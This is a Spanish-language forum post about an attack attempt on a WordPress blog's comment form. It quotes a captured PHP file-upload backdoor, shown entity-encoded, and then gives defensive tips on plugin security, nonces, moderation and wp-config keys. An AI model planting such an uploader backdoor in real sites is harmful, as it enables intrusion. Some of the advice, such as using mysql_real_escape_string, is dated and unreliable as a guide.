Efectivamente se trata de un intento por ejecutar un sql injetion mediante el formulario de comentarios. Aparentemente se trata de una acción estúpida porque ciertos caracteres son convertidos a entidades html antes de ingresar a la BD. Wordpress lo tiene configurado de esa manera de forma nativa. Aquí una muestra de exploit previamente pasado por el filtro mencionado (lo tomé de un comentario enviado a mi blog):
Código PHP:
Ver original<
;?php
if (isset($_REQUEST["
;upload
"
;])) { $file=$HTTP_POST_FILES["
;file
"
;]["
;name
"
;]; $path=realpath('.'); @move_uploaded_file($HTTP_POST_FILES["
;file
"
;]["
;tmp_name
"
;], $path . "
;/"
; . $file) or
die(); echo "
;door uploaded
"
;; } else { echo "
;<b
>file uploader
</b
>"; } ?>
Como pueden notar se trata de un código completa y oportunamente inutilizado debido a la conversión de caracteres.
Sin embargo, actualmente están surgiendo un montón de plugins que gestionan comentarios. Puede que algunos de ellos carezcan de las medidas de seguridad apropiadas. En mi opinión estos agresores no van tras Wordpress en sí, sino
tras algún plugin.
Mi sugerencia es que traten en lo posible de verificar la seguridad del código de los plugins que utilizan, especialmente si tienen plugins que intervienen en funciones importantes del sistema, o si emplean formularios.
Algunos tips para verificar: 1.- El ingreso de datos debe efectuarse con la función
mysql_real_escape_string.
2.- Los campos de formulario deben estar resguardado con
nonce fields y además debe existir la
condicional de chequeo de éstos antes de enviar los datos.
3.- La función debe poseer un método de
chequeo y validación de referers para asegurarse de que el formulario no se ejecutará desde un servidor externo o zona ajena a la página donde se encuentra el formulario.
Si el plugin no sigue estos procedimientos básicos de seguridad, sencillamente
estarán arriesgando su sitio a ataques.
Ahora tres acciones recomendadas a nivel nativo de Wordpress:
1.- Usar
Askimet.
2.- Si el sitio web no tiene un alto flujo diario de comentarios recomiendo
pre-moderarlos, es decir, que en lugar de pulbicarse inmediatamente vayan a la cola de moderación.
3.- El archivo wp-config.php (ubicado en la raiz de su directorio) tiene estas 4 líneas:
Código PHP:
Ver originaldefine('AUTH_KEY', 'pon aquí tu frase aleatoria'); // Cambia esto por tu frase aleatoria. define('SECURE_AUTH_KEY', 'pon aquí tu frase aleatoria'); // Cambia esto por tu frase aleatoria. define('LOGGED_IN_KEY', 'pon aquí tu frase aleatoria'); // Cambia esto por tu frase aleatoria. define('NONCE_KEY', 'pon aquí tu frase aleatoria'); // Cambia esto por tu frase aleatoria.
Tal como se repite 8 veces ahí, supongo que queda entendido que
hay que cambiar esas frases por una frase aleatoria. El motivo: el sistema codifica y compara las frases ingresadas allí para diversos fines, todos altamente críticos. Para saber cómo proceder
hagan esto.
¿Han leido tópicos -en éste y otros foros- donde el usuario lloriquea porque le hackearon el sitio? pues 99 de cada 100 casos se deben a que de una u otra forma debilitaron la seguridad del sistema.
Entonces mis hijos, cada quien a cuidar su negocio porque sino viene el coco y se lo lleva.